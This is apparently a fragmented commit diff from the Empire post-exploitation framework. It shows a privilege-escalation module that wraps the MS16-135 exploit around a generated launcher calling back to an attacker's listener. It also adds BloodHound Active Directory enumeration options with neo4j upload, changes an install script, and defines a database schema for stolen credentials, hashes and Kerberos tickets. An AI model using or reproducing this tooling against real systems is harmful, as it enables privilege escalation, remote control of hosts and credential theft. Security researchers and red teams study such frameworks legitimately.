moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16135.ps1"
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
# generate the launcher code without base64 encoding
|
||||
l = self.mainMenu.stagers.stagers['multi/launcher']
|
||||
l.options['Listener']['Value'] = self.options['Listener']['Value']
|
||||
l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
|
||||
l.options['Proxy']['Value'] = self.options['Proxy']['Value']
|
||||
l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
|
||||
l.options['Base64']['Value'] = 'False'
|
||||
launcherCode = l.generate()
|
||||
|
||||
# need to escape characters
|
||||
launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'")
|
||||
|
||||
script += 'Invoke-MS16135 -Command "' + launcherCode + '"'
|
||||
script += ';`nInvoke-MS16135 completed.'
|
||||
|
||||
return script
|
|
@ -37,6 +37,21 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
'Description' : 'Array of one or more computers to enumerate',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerADSpath' : {
|
||||
'Description' : 'The LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserADSPath' : {
|
||||
'Description' : 'The LDAP source to search through for users/groups, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
|
@ -48,7 +63,7 @@ class Module:
|
|||
'Value' : ''
|
||||
},
|
||||
'CollectionMethod' : {
|
||||
'Description' : "The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.",
|
||||
'Description' : "The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.",
|
||||
'Required' : True,
|
||||
'Value' : 'Default'
|
||||
},
|
||||
|
@ -60,22 +75,42 @@ class Module:
|
|||
'CSVFolder' : {
|
||||
'Description' : 'The CSV folder to use for output, defaults to the current folder location.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
'Value' : '$(Get-Location)'
|
||||
},
|
||||
'CSVPrefix' : {
|
||||
'Description' : 'A prefix for all CSV files.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'URI' : {
|
||||
'Description' : 'The BloodHound neo4j URL location (http://host:port/)',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserPass' : {
|
||||
'Description' : 'The "user:password" for the BloodHound neo4j instance',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'GlobalCatalog' : {
|
||||
'Description' : 'The global catalog location to resolve user memberships from.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SkipGCDeconfliction' : {
|
||||
'Description' : 'Switch. Skip global catalog enumeration for session deconfliction',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : 'The maximum concurrent threads to execute.',
|
||||
'Required' : True,
|
||||
'Value' : '20'
|
||||
},
|
||||
'Throttle' : {
|
||||
'Description' : 'The number of cypher queries to queue up for neo4j RESTful API ingestion.',
|
||||
'Required' : True,
|
||||
'Value' : '1000'
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ fi
|
|||
version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 )
|
||||
if lsb_release -d | grep -q "Fedora"; then
|
||||
Release=Fedora
|
||||
dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl-dev
|
||||
dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl1.0-dev
|
||||
pip install setuptools
|
||||
pip install pycrypto
|
||||
pip install iptools
|
||||
|
@ -29,7 +29,7 @@ if lsb_release -d | grep -q "Fedora"; then
|
|||
pip install netifaces
|
||||
elif lsb_release -d | grep -q "Kali"; then
|
||||
Release=Kali
|
||||
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
|
||||
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0-dev
|
||||
pip install setuptools
|
||||
pip install pycrypto
|
||||
pip install iptools
|
||||
|
@ -43,7 +43,7 @@ elif lsb_release -d | grep -q "Kali"; then
|
|||
pip install netifaces
|
||||
elif lsb_release -d | grep -q "Ubuntu"; then
|
||||
Release=Ubuntu
|
||||
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
|
||||
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0-dev
|
||||
pip install setuptools
|
||||
pip install pycrypto
|
||||
pip install iptools
|
||||
|
@ -58,7 +58,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
|
|||
pip install netifaces
|
||||
else
|
||||
echo "Unknown distro - Debian/Ubuntu Fallback"
|
||||
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev
|
||||
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl1.0-dev
|
||||
pip install setuptools
|
||||
pip install pycrypto
|
||||
pip install iptools
|
||||
|
|
|
@ -134,7 +134,6 @@ c.execute('''CREATE TABLE "listeners" (
|
|||
"options" blob
|
||||
)''')
|
||||
|
||||
|
||||
# type = hash, plaintext, token
|
||||
# for krbtgt, the domain SID is stored in misc
|
||||
# for tokens, the data is base64'ed and stored in pass
|
||||
|
@ -150,7 +149,6 @@ c.execute('''CREATE TABLE "credentials" (
|
|||
"notes" text
|
||||
)''')
|
||||
|
||||
|
||||
c.execute( '''CREATE TABLE "taskings" (
|
||||
"id" integer,
|
||||
"data" text,
|
||||
|
@ -173,8 +171,8 @@ c.execute('''CREATE TABLE "reporting" (
|
|||
"message" text,
|
||||
"time_stamp" text,
|
||||
"taskID" integer,
|
||||
foreign key(taskID) references results(id)
|
||||
)''')
|
||||
FOREIGN KEY(taskID) REFERENCES results(id)
|
||||
)''')
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
|
|
Loading…
Reference in New Issue